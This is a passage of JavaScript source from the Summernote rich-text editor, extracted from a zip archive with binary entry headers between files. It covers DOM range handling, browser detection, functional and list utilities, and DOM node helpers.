      if (dom.isEditable(point.node)) {
        return;
      }

      let node;
      if (fullyContains) {
        if (dom.isLeftEdgePoint(point)) {
          leftEdgeNodes.push(point.node);
        }
        if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {
          node = point.node;
        }
      } else if (includeAncestor) {
        node = dom.ancestor(point.node, pred);
      } else {
        node = point.node;
      }

      if (node && pred(node)) {
        nodes.push(node);
      }
    }, true);

    return lists.unique(nodes);
  }

  /**
   * returns commonAncestor of range
   * @return {Element} - commonAncestor
   */
  commonAncestor() {
    return dom.commonAncestor(this.sc, this.ec);
  }

  /**
   * returns expanded range by pred
   *
   * @param {Function} pred - predicate function
   * @return {WrappedRange}
   */
  expand(pred) {
    const startAncestor = dom.ancestor(this.sc, pred);
    const endAncestor = dom.ancestor(this.ec, pred);

    if (!startAncestor && !endAncestor) {
      return new WrappedRange(this.sc, this.so, this.ec, this.eo);
    }

    const boundaryPoints = this.getPoints();

    if (startAncestor) {
      boundaryPoints.sc = startAncestor;
      boundaryPoints.so = 0;
    }

    if (endAncestor) {
      boundaryPoints.ec = endAncestor;
      boundaryPoints.eo = dom.nodeLength(endAncestor);
    }

    return new WrappedRange(
      boundaryPoints.sc,
      boundaryPoints.so,
      boundaryPoints.ec,
      boundaryPoints.eo
    );
  }

  /**
   * @param {Boolean} isCollapseToStart
   * @return {WrappedRange}
   */
  collapse(isCollapseToStart) {
    if (isCollapseToStart) {
      return new WrappedRange(this.sc, this.so, this.sc, this.so);
    } else {
      return new WrappedRange(this.ec, this.eo, this.ec, this.eo);
    }
  }

  /**
   * splitText on range
   */
  splitText() {
    const isSameContainer = this.sc === this.ec;
    const boundaryPoints = this.getPoints();

    if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {
      this.ec.splitText(this.eo);
    }

    if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {
      boundaryPoints.sc = this.sc.splitText(this.so);
      boundaryPoints.so = 0;

      if (isSameContainer) {
        boundaryPoints.ec = boundaryPoints.sc;
        boundaryPoints.eo = this.eo - this.so;
      }
    }

    return new WrappedRange(
      boundaryPoints.sc,
      boundaryPoints.so,
      boundaryPoints.ec,
      boundaryPoints.eo
    );
  }

  /**
   * delete contents on range
   * @return {WrappedRange}
   */
  deleteContents() {
    if (this.isCollapsed()) {
      return this;
    }

    const rng = this.splitText();
    const nodes = rng.nodes(null, {
      fullyContains: true
    });

    // find new cursor point
    const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {
      return !lists.contains(nodes, point.node);
    });

    const emptyParents = [];
    $.each(nodes, function(idx, node) {
      // find empty parents
      const parent = node.parentNode;
      if (point.node !== parent && dom.nodeLength(parent) === 1) {
        emptyParents.push(parent);
      }
      dom.remove(node, false);
    });

    // remove empty parents
    $.each(emptyParents, function(idx, node) {
      dom.remove(node, false);
    });

    return new WrappedRange(
      point.node,
      point.offset,
      point.node,
      point.offset
    ).normalize();
  }

  /**
   * makeIsOn: return isOn(pred) function
   */
  makeIsOn(pred) {
    return function() {
      const ancestor = dom.ancestor(this.sc, pred);
      return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));
    };
  }

  /**
   * @param {Function} pred
   * @return {Boolean}
   */
  isLeftEdgeOf(pred) {
    if (!dom.isLeftEdgePoint(this.getStartPoint())) {
      return false;
    }

    const node = dom.ancestor(this.sc, pred);
    return node && dom.isLeftEdgeOf(this.sc, node);
  }

  /**
   * returns whether range was collapsed or not
   */
  isCollapsed() {
    return this.sc === this.ec && this.so === this.eo;
  }

  /**
   * wrap inline nodes which children of body with paragraph
   *
   * @return {WrappedRange}
   */
  wrapBodyInlineWithPara() {
    if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {
      this.sc.innerHTML = dom.emptyPara;
      return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);
    }

    /**
     * [workaround] firefox often create range on not visible point. so normalize here.
     *  - firefox: |<p>text</p>|
     *  - chrome: <p>|text|</p>
     */
    const rng = this.normalize();
    if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {
      return rng;
    }

    // find inline top ancestor
    let topAncestor;
    if (dom.isInline(rng.sc)) {
      const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));
      topAncestor = lists.last(ancestors);
      if (!dom.isInline(topAncestor)) {
        topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];
      }
    } else {
      topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];
    }

    // siblings not in paragraph
    let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();
    inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));

    // wrap with paragraph
    if (inlineSiblings.length) {
      const para = dom.wrap(lists.head(inlineSiblings), 'p');
      dom.appendChildNodes(para, lists.tail(inlineSiblings));
    }

    return this.normalize();
  }

  /**
   * insert node at current cursor
   *
   * @param {Node} node
   * @return {Node}
   */
  insertNode(node) {
    const rng = this.wrapBodyInlineWithPara().deleteContents();
    const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));

    if (info.rightNode) {
      info.rightNode.parentNode.insertBefore(node, info.rightNode);
    } else {
      info.container.appendChild(node);
    }

    return node;
  }

  /**
   * insert html at current cursor
   */
  pasteHTML(markup) {
    const contentsContainer = $('<div></div>').html(markup)[0];
    const childNodes = lists.from(contentsContainer.childNodes);

    const rng = this.wrapBodyInlineWithPara().deleteContents();

    return childNodes.reverse().map(function(childNode) {
      return rng.insertNode(childNode);
    }).reverse();
  }

  /**
   * returns text in range
   *
   * @return {String}
   */
  toString() {
    const nativeRng = this.nativeRange();
    return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;
  }

  /**
   * returns range for word before cursor
   *
   * @param {Boolean} [findAfter] - find after cursor, default: false
   * @return {WrappedRange}
   */
  getWordRange(findAfter) {
    let endPoint = this.getEndPoint();

    if (!dom.isCharPoint(endPoint)) {
      return this;
    }

    const startPoint = dom.prevPointUntil(endPoint, function(point) {
      return !dom.isCharPoint(point);
    });

    if (findAfter) {
      endPoint = dom.nextPointUntil(endPoint, function(point) {
        return !dom.isCharPoint(point);
      });
    }

    return new WrappedRange(
      startPoint.node,
      startPoint.offset,
      endPoint.node,
      endPoint.offset
    );
  }

  /**
   * create offsetPath bookmark
   *
   * @param {Node} editable
   */
  bookmark(editable) {
    return {
      s: {
        path: dom.makeOffsetPath(editable, this.sc),
        offset: this.so
      },
      e: {
        path: dom.makeOffsetPath(editable, this.ec),
        offset: this.eo
      }
    };
  }

  /**
   * create offsetPath bookmark base on paragraph
   *
   * @param {Node[]} paras
   */
  paraBookmark(paras) {
    return {
      s: {
        path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),
        offset: this.so
      },
      e: {
        path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),
        offset: this.eo
      }
    };
  }

  /**
   * getClientRects
   * @return {Rect[]}
   */
  getClientRects() {
    const nativeRng = this.nativeRange();
    return nativeRng.getClientRects();
  }
}

/**
 * Data structure
 *  * BoundaryPoint: a point of dom tree
 *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range
 *
 * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position
 */
export default {
  /**
   * create Range Object From arguments or Browser Selection
   *
   * @param {Node} sc - start container
   * @param {Number} so - start offset
   * @param {Node} ec - end container
   * @param {Number} eo - end offset
   * @return {WrappedRange}
   */
  create: function(sc, so, ec, eo) {
    if (arguments.length === 4) {
      return new WrappedRange(sc, so, ec, eo);
    } else if (arguments.length === 2) { // collapsed
      ec = sc;
      eo = so;
      return new WrappedRange(sc, so, ec, eo);
    } else {
      let wrappedRange = this.createFromSelection();
      if (!wrappedRange && arguments.length === 1) {
        wrappedRange = this.createFromNode(arguments[0]);
        return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);
      }
      return wrappedRange;
    }
  },

  createFromSelection: function() {
    let sc, so, ec, eo;
    if (env.isW3CRangeSupport) {
      const selection = document.getSelection();
      if (!selection || selection.rangeCount === 0) {
        return null;
      } else if (dom.isBody(selection.anchorNode)) {
        // Firefox: returns entire body as range on initialization.
        // We won't never need it.
        return null;
      }

      const nativeRng = selection.getRangeAt(0);
      sc = nativeRng.startContainer;
      so = nativeRng.startOffset;
      ec = nativeRng.endContainer;
      eo = nativeRng.endOffset;
    } else { // IE8: TextRange
      const textRange = document.selection.createRange();
      const textRangeEnd = textRange.duplicate();
      textRangeEnd.collapse(false);
      const textRangeStart = textRange;
      textRangeStart.collapse(true);

      let startPoint = textRangeToPoint(textRangeStart, true);
      let endPoint = textRangeToPoint(textRangeEnd, false);

      // same visible point case: range was collapsed.
      if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&
          dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&
          endPoint.node.nextSibling === startPoint.node) {
        startPoint = endPoint;
      }

      sc = startPoint.cont;
      so = startPoint.offset;
      ec = endPoint.cont;
      eo = endPoint.offset;
    }

    return new WrappedRange(sc, so, ec, eo);
  },

  /**
   * @method
   *
   * create WrappedRange from node
   *
   * @param {Node} node
   * @return {WrappedRange}
   */
  createFromNode: function(node) {
    let sc = node;
    let so = 0;
    let ec = node;
    let eo = dom.nodeLength(ec);

    // browsers can't target a picture or void node
    if (dom.isVoid(sc)) {
      so = dom.listPrev(sc).length - 1;
      sc = sc.parentNode;
    }
    if (dom.isBR(ec)) {
      eo = dom.listPrev(ec).length - 1;
      ec = ec.parentNode;
    } else if (dom.isVoid(ec)) {
      eo = dom.listPrev(ec).length;
      ec = ec.parentNode;
    }

    return this.create(sc, so, ec, eo);
  },

  /**
   * create WrappedRange from node after position
   *
   * @param {Node} node
   * @return {WrappedRange}
   */
  createFromNodeBefore: function(node) {
    return this.createFromNode(node).collapse(true);
  },

  /**
   * create WrappedRange from node after position
   *
   * @param {Node} node
   * @return {WrappedRange}
   */
  createFromNodeAfter: function(node) {
    return this.createFromNode(node).collapse();
  },

  /**
   * @method
   *
   * create WrappedRange from bookmark
   *
   * @param {Node} editable
   * @param {Object} bookmark
   * @return {WrappedRange}
   */
  createFromBookmark: function(editable, bookmark) {
    const sc = dom.fromOffsetPath(editable, bookmark.s.path);
    const so = bookmark.s.offset;
    const ec = dom.fromOffsetPath(editable, bookmark.e.path);
    const eo = bookmark.e.offset;
    return new WrappedRange(sc, so, ec, eo);
  },

  /**
   * @method
   *
   * create WrappedRange from paraBookmark
   *
   * @param {Object} bookmark
   * @param {Node[]} paras
   * @return {WrappedRange}
   */
  createFromParaBookmark: function(bookmark, paras) {
    const so = bookmark.s.offset;
    const eo = bookmark.e.offset;
    const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);
    const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);

    return new WrappedRange(sc, so, ec, eo);
  }
};
PK�{�\�^~�..js/base/core/async.jsnu�[���import $ from 'jquery';

/**
 * @method readFileAsDataURL
 *
 * read contents of file as representing URL
 *
 * @param {File} file
 * @return {Promise} - then: dataUrl
 */
export function readFileAsDataURL(file) {
  return $.Deferred((deferred) => {
    $.extend(new FileReader(), {
      onload: (e) => {
        const dataURL = e.target.result;
        deferred.resolve(dataURL);
      },
      onerror: (err) => {
        deferred.reject(err);
      }
    }).readAsDataURL(file);
  }).promise();
}

/**
 * @method createImage
 *
 * create `<image>` from url string
 *
 * @param {String} url
 * @return {Promise} - then: $image
 */
export function createImage(url) {
  return $.Deferred((deferred) => {
    const $img = $('<img>');

    $img.one('load', () => {
      $img.off('error abort');
      deferred.resolve($img);
    }).one('error abort', () => {
      $img.off('load').detach();
      deferred.reject($img);
    }).css({
      display: 'none'
    }).appendTo(document.body).attr('src', url);
  }).promise();
}
PK�{�\8W�B��js/base/core/env.jsnu�[���import $ from 'jquery';
const isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line

/**
 * returns whether font is installed or not.
 *
 * @param {String} fontName
 * @return {Boolean}
 */
function isFontInstalled(fontName) {
  const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';
  const $tester = $('<div>').css({
    position: 'absolute',
    left: '-9999px',
    top: '-9999px',
    fontSize: '200px'
  }).text('mmmmmmmmmwwwwwww').appendTo(document.body);

  const originalWidth = $tester.css('fontFamily', testFontName).width();
  const width = $tester.css('fontFamily', fontName + ',' + testFontName).width();

  $tester.remove();

  return originalWidth !== width;
}

const userAgent = navigator.userAgent;
const isMSIE = /MSIE|Trident/i.test(userAgent);
let browserVersion;
if (isMSIE) {
  let matches = /MSIE (\d+[.]\d+)/.exec(userAgent);
  if (matches) {
    browserVersion = parseFloat(matches[1]);
  }
  matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);
  if (matches) {
    browserVersion = parseFloat(matches[1]);
  }
}

const isEdge = /Edge\/\d+/.test(userAgent);

let hasCodeMirror = !!window.CodeMirror;
if (!hasCodeMirror && isSupportAmd) {
  // Webpack
  if (typeof __webpack_require__ === 'function') { // eslint-disable-line
    try {
      // If CodeMirror can't be resolved, `require.resolve` will throw an
      // exception and `hasCodeMirror` won't be set to `true`.
      require.resolve('codemirror');
      hasCodeMirror = true;
    } catch (e) {
      // do nothing
    }
  } else if (typeof require !== 'undefined') {
    // Browserify
    if (typeof require.resolve !== 'undefined') {
      try {
        // If CodeMirror can't be resolved, `require.resolve` will throw an
        // exception and `hasCodeMirror` won't be set to `true`.
        require.resolve('codemirror');
        hasCodeMirror = true;
      } catch (e) {
        // do nothing
      }
    // Almond/Require
    } else if (typeof require.specified !== 'undefined') {
      hasCodeMirror = require.specified('codemirror');
    }
  }
}

const isSupportTouch =
  (('ontouchstart' in window) ||
   (navigator.MaxTouchPoints > 0) ||
   (navigator.msMaxTouchPoints > 0));

// [workaround] IE doesn't have input events for contentEditable
// - see: https://goo.gl/4bfIvA
const inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';

/**
 * @class core.env
 *
 * Object which check platform and agent
 *
 * @singleton
 * @alternateClassName env
 */
export default {
  isMac: navigator.appVersion.indexOf('Mac') > -1,
  isMSIE,
  isEdge,
  isFF: !isEdge && /firefox/i.test(userAgent),
  isPhantom: /PhantomJS/i.test(userAgent),
  isWebkit: !isEdge && /webkit/i.test(userAgent),
  isChrome: !isEdge && /chrome/i.test(userAgent),
  isSafari: !isEdge && /safari/i.test(userAgent),
  browserVersion,
  jqueryVersion: parseFloat($.fn.jquery),
  isSupportAmd,
  isSupportTouch,
  hasCodeMirror,
  isFontInstalled,
  isW3CRangeSupport: !!document.createRange,
  inputEventName
};
PK�{�\ஸ��js/base/core/func.jsnu�[���/**
 * @class core.func
 *
 * func utils (for high-order func's arg)
 *
 * @singleton
 * @alternateClassName func
 */
function eq(itemA) {
  return function(itemB) {
    return itemA === itemB;
  };
}

function eq2(itemA, itemB) {
  return itemA === itemB;
}

function peq2(propName) {
  return function(itemA, itemB) {
    return itemA[propName] === itemB[propName];
  };
}

function ok() {
  return true;
}

function fail() {
  return false;
}

function not(f) {
  return () => {
    return !f.apply(f, arguments);
  };
}

function and(fA, fB) {
  return function(item) {
    return fA(item) && fB(item);
  };
}

function self(a) {
  return a;
}

function invoke(obj, method) {
  return () => {
    return obj[method].apply(obj, arguments);
  };
}

let idCounter = 0;

/**
 * generate a globally-unique id
 *
 * @param {String} [prefix]
 */
function uniqueId(prefix) {
  const id = ++idCounter + '';
  return prefix ? prefix + id : id;
}

/**
 * returns bnd (bounds) from rect
 *
 * - IE Compatibility Issue: http://goo.gl/sRLOAo
 * - Scroll Issue: http://goo.gl/sNjUc
 *
 * @param {Rect} rect
 * @return {Object} bounds
 * @return {Number} bounds.top
 * @return {Number} bounds.left
 * @return {Number} bounds.width
 * @return {Number} bounds.height
 */
function rect2bnd(rect) {
  const $document = $(document);
  return {
    top: rect.top + $document.scrollTop(),
    left: rect.left + $document.scrollLeft(),
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };
}

/**
 * returns a copy of the object where the keys have become the values and the values the keys.
 * @param {Object} obj
 * @return {Object}
 */
function invertObject(obj) {
  const inverted = {};
  for (const key in obj) {
    if (obj.hasOwnProperty(key)) {
      inverted[obj[key]] = key;
    }
  }
  return inverted;
}

/**
 * @param {String} namespace
 * @param {String} [prefix]
 * @return {String}
 */
function namespaceToCamel(namespace, prefix) {
  prefix = prefix || '';
  return prefix + namespace.split('.').map(function(name) {
    return name.substring(0, 1).toUpperCase() + name.substring(1);
  }).join('');
}

/**
 * Returns a function, that, as long as it continues to be invoked, will not
 * be triggered. The function will be called after it stops being called for
 * N milliseconds. If `immediate` is passed, trigger the function on the
 * leading edge, instead of the trailing.
 * @param {Function} func
 * @param {Number} wait
 * @param {Boolean} immediate
 * @return {Function}
 */
function debounce(func, wait, immediate) {
  let timeout;
  return () => {
    const context = this;
    const args = arguments;
    const later = () => {
      timeout = null;
      if (!immediate) {
        func.apply(context, args);
      }
    };
    const callNow = immediate && !timeout;
    clearTimeout(timeout);
    timeout = setTimeout(later, wait);
    if (callNow) {
      func.apply(context, args);
    }
  };
}

export default {
  eq,
  eq2,
  peq2,
  ok,
  fail,
  self,
  not,
  and,
  invoke,
  uniqueId,
  rect2bnd,
  invertObject,
  namespaceToCamel,
  debounce
};
PK�{�\���LLjs/base/core/lists.jsnu�[���import $ from 'jquery';
import func from './func';

/**
 * returns the first item of an array.
 *
 * @param {Array} array
 */
function head(array) {
  return array[0];
}

/**
 * returns the last item of an array.
 *
 * @param {Array} array
 */
function last(array) {
  return array[array.length - 1];
}

/**
 * returns everything but the last entry of the array.
 *
 * @param {Array} array
 */
function initial(array) {
  return array.slice(0, array.length - 1);
}

/**
 * returns the rest of the items in an array.
 *
 * @param {Array} array
 */
function tail(array) {
  return array.slice(1);
}

/**
 * returns item of array
 */
function find(array, pred) {
  for (let idx = 0, len = array.length; idx < len; idx++) {
    const item = array[idx];
    if (pred(item)) {
      return item;
    }
  }
}

/**
 * returns true if all of the values in the array pass the predicate truth test.
 */
function all(array, pred) {
  for (let idx = 0, len = array.length; idx < len; idx++) {
    if (!pred(array[idx])) {
      return false;
    }
  }
  return true;
}

/**
 * returns index of item
 */
function indexOf(array, item) {
  return $.inArray(item, array);
}

/**
 * returns true if the value is present in the list.
 */
function contains(array, item) {
  return indexOf(array, item) !== -1;
}

/**
 * get sum from a list
 *
 * @param {Array} array - array
 * @param {Function} fn - iterator
 */
function sum(array, fn) {
  fn = fn || func.self;
  return array.reduce(function(memo, v) {
    return memo + fn(v);
  }, 0);
}

/**
 * returns a copy of the collection with array type.
 * @param {Collection} collection - collection eg) node.childNodes, ...
 */
function from(collection) {
  const result = [];
  const length = collection.length;
  let idx = -1;
  while (++idx < length) {
    result[idx] = collection[idx];
  }
  return result;
}

/**
 * returns whether list is empty or not
 */
function isEmpty(array) {
  return !array || !array.length;
}

/**
 * cluster elements by predicate function.
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 * @param {Array[]}
 */
function clusterBy(array, fn) {
  if (!array.length) { return []; }
  const aTail = tail(array);
  return aTail.reduce(function(memo, v) {
    const aLast = last(memo);
    if (fn(last(aLast), v)) {
      aLast[aLast.length] = v;
    } else {
      memo[memo.length] = [v];
    }
    return memo;
  }, [[head(array)]]);
}

/**
 * returns a copy of the array with all false values removed
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 */
function compact(array) {
  const aResult = [];
  for (let idx = 0, len = array.length; idx < len; idx++) {
    if (array[idx]) { aResult.push(array[idx]); }
  }
  return aResult;
}

/**
 * produces a duplicate-free version of the array
 *
 * @param {Array} array
 */
function unique(array) {
  const results = [];

  for (let idx = 0, len = array.length; idx < len; idx++) {
    if (!contains(results, array[idx])) {
      results.push(array[idx]);
    }
  }

  return results;
}

/**
 * returns next item.
 * @param {Array} array
 */
function next(array, item) {
  const idx = indexOf(array, item);
  if (idx === -1) { return null; }

  return array[idx + 1];
}

/**
 * returns prev item.
 * @param {Array} array
 */
function prev(array, item) {
  const idx = indexOf(array, item);
  if (idx === -1) { return null; }

  return array[idx - 1];
}

/**
 * @class core.list
 *
 * list utils
 *
 * @singleton
 * @alternateClassName list
 */
export default {
  head,
  last,
  initial,
  tail,
  prev,
  next,
  find,
  contains,
  all,
  sum,
  from,
  isEmpty,
  clusterBy,
  compact,
  unique
};
PK�{�\��O�^�^js/base/core/dom.jsnu�[���import $ from 'jquery';
import func from './func';
import lists from './lists';
import env from './env';

const NBSP_CHAR = String.fromCharCode(160);
const ZERO_WIDTH_NBSP_CHAR = '\ufeff';

/**
 * @method isEditable
 *
 * returns whether node is `note-editable` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEditable(node) {
  return node && $(node).hasClass('note-editable');
}

/**
 * @method isControlSizing
 *
 * returns whether node is `note-control-sizing` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isControlSizing(node) {
  return node && $(node).hasClass('note-control-sizing');
}

/**
 * @method makePredByNodeName
 *
 * returns predicate which judge whether nodeName is same
 *
 * @param {String} nodeName
 * @return {Function}
 */
function makePredByNodeName(nodeName) {
  nodeName = nodeName.toUpperCase();
  return function(node) {
    return node && node.nodeName.toUpperCase() === nodeName;
  };
}

/**
 * @method isText
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is text(3)
 */
function isText(node) {
  return node && node.nodeType === 3;
}

/**
 * @method isElement
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is element(1)
 */
function isElement(node) {
  return node && node.nodeType === 1;
}

/**
 * ex) br, col, embed, hr, img, input, ...
 * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements
 */
function isVoid(node) {
  return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());
}

function isPara(node) {
  if (isEditable(node)) {
    return false;
  }

  // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph
  return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());
}

function isHeading(node) {
  return node && /^H[1-7]/.test(node.nodeName.toUpperCase());
}

const isPre = makePredByNodeName('PRE');

const isLi = makePredByNodeName('LI');

function isPurePara(node) {
  return isPara(node) && !isLi(node);
}

const isTable = makePredByNodeName('TABLE');

const isData = makePredByNodeName('DATA');

function isInline(node) {
  return !isBodyContainer(node) &&
         !isList(node) &&
         !isHr(node) &&
         !isPara(node) &&
         !isTable(node) &&
         !isBlockquote(node) &&
         !isData(node);
}

function isList(node) {
  return node && /^UL|^OL/.test(node.nodeName.toUpperCase());
}

const isHr = makePredByNodeName('HR');

function isCell(node) {
  return node && /^TD|^TH/.test(node.nodeName.toUpperCase());
}

const isBlockquote = makePredByNodeName('BLOCKQUOTE');

function isBodyContainer(node) {
  return isCell(node) || isBlockquote(node) || isEditable(node);
}

const isAnchor = makePredByNodeName('A');

function isParaInline(node) {
  return isInline(node) && !!ancestor(node, isPara);
}

function isBodyInline(node) {
  return isInline(node) && !ancestor(node, isPara);
}

const isBody = makePredByNodeName('BODY');

/**
 * returns whether nodeB is closest sibling of nodeA
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 * @return {Boolean}
 */
function isClosestSibling(nodeA, nodeB) {
  return nodeA.nextSibling === nodeB ||
         nodeA.previousSibling === nodeB;
}

/**
 * returns array of closest siblings with node
 *
 * @param {Node} node
 * @param {function} [pred] - predicate function
 * @return {Node[]}
 */
function withClosestSiblings(node, pred) {
  pred = pred || func.ok;

  const siblings = [];
  if (node.previousSibling && pred(node.previousSibling)) {
    siblings.push(node.previousSibling);
  }
  siblings.push(node);
  if (node.nextSibling && pred(node.nextSibling)) {
    siblings.push(node.nextSibling);
  }
  return siblings;
}

/**
 * blank HTML for cursor position
 * - [workaround] old IE only works with &nbsp;
 * - [workaround] IE11 and other browser works with bogus br
 */
const blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';

/**
 * @method nodeLength
 *
 * returns #text's text size or element's childNodes size
 *
 * @param {Node} node
 */
function nodeLength(node) {
  if (isText(node)) {
    return node.nodeValue.length;
  }

  if (node) {
    return node.childNodes.length;
  }

  return 0;
}

/**
 * returns whether node is empty or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEmpty(node) {
  const len = nodeLength(node);

  if (len === 0) {
    return true;
  } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {
    // ex) <p><br></p>, <span><br></span>
    return true;
  } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {
    // ex) <p></p>, <span></span>
    return true;
  }

  return false;
}

/**
 * padding blankHTML if node is empty (for cursor position)
 */
function paddingBlankHTML(node) {
  if (!isVoid(node) && !nodeLength(node)) {
    node.innerHTML = blankHTML;
  }
}

/**
 * find nearest ancestor predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function ancestor(node, pred) {
  while (node) {
    if (pred(node)) { return node; }
    if (isEditable(node)) { break; }

    node = node.parentNode;
  }
  return null;
}

/**
 * find nearest ancestor only single child blood line and predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function singleChildAncestor(node, pred) {
  node = node.parentNode;

  while (node) {
    if (nodeLength(node) !== 1) { break; }
    if (pred(node)) { return node; }
    if (isEditable(node)) { break; }

    node = node.parentNode;
  }
  return null;
}

/**
 * returns new array of ancestor nodes (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listAncestor(node, pred) {
  pred = pred || func.fail;

  const ancestors = [];
  ancestor(node, function(el) {
    if (!isEditable(el)) {
      ancestors.push(el);
    }

    return pred(el);
  });
  return ancestors;
}

/**
 * find farthest ancestor predicate hit
 */
function lastAncestor(node, pred) {
  const ancestors = listAncestor(node);
  return lists.last(ancestors.filter(pred));
}

/**
 * returns common ancestor node between two nodes.
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 */
function commonAncestor(nodeA, nodeB) {
  const ancestors = listAncestor(nodeA);
  for (let n = nodeB; n; n = n.parentNode) {
    if ($.inArray(n, ancestors) > -1) { return n; }
  }
  return null; // difference document area
}

/**
 * listing all previous siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listPrev(node, pred) {
  pred = pred || func.fail;

  const nodes = [];
  while (node) {
    if (pred(node)) { break; }
    nodes.push(node);
    node = node.previousSibling;
  }
  return nodes;
}

/**
 * listing next siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listNext(node, pred) {
  pred = pred || func.fail;

  const nodes = [];
  while (node) {
    if (pred(node)) { break; }
    nodes.push(node);
    node = node.nextSibling;
  }
  return nodes;
}

/**
 * listing descendant nodes
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listDescendant(node, pred) {
  const descendants = [];
  pred = pred || func.ok;

  // start DFS(depth first search) with node
  (function fnWalk(current) {
    if (node !== current && pred(current)) {
      descendants.push(current);
    }
    for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {
      fnWalk(current.childNodes[idx]);
    }
  })(node);

  return descendants;
}

/**
 * wrap node with new tag.
 *
 * @param {Node} node
 * @param {Node} tagName of wrapper
 * @return {Node} - wrapper
 */
function wrap(node, wrapperName) {
  const parent = node.parentNode;
  const wrapper = $('<' + wrapperName + '>')[0];

  parent.insertBefore(wrapper, node);
  wrapper.appendChild(node);

  return wrapper;
}

/**
 * insert node after preceding
 *
 * @param {Node} node
 * @param {Node} preceding - predicate function
 */
function insertAfter(node, preceding) {
  const next = preceding.nextSibling;
  let parent = preceding.parentNode;
  if (next) {
    parent.insertBefore(node, next);
  } else {
    parent.appendChild(node);
  }
  return node;
}

/**
 * append elements.
 *
 * @param {Node} node
 * @param {Collection} aChild
 */
function appendChildNodes(node, aChild) {
  $.each(aChild, function(idx, child) {
    node.appendChild(child);
  });
  return node;
}

/**
 * returns whether boundaryPoint is left edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isLeftEdgePoint(point) {
  return point.offset === 0;
}

/**
 * returns whether boundaryPoint is right edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isRightEdgePoint(point) {
  return point.offset === nodeLength(point.node);
}

/**
 * returns whether boundaryPoint is edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isEdgePoint(point) {
  return isLeftEdgePoint(point) || isRightEdgePoint(point);
}

/**
 * returns whether node is left edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgeOf(node, ancestor) {
  while (node && node !== ancestor) {
    if (position(node) !== 0) {
      return false;
    }
    node = node.parentNode;
  }

  return true;
}

/**
 * returns whether node is right edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgeOf(node, ancestor) {
  if (!ancestor) {
    return false;
  }
  while (node && node !== ancestor) {
    if (position(node) !== nodeLength(node.parentNode) - 1) {
      return false;
    }
    node = node.parentNode;
  }

  return true;
}

/**
 * returns whether point is left edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgePointOf(point, ancestor) {
  return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);
}

/**
 * returns whether point is right edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgePointOf(point, ancestor) {
  return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);
}

/**
 * returns offset from parent.
 *
 * @param {Node} node
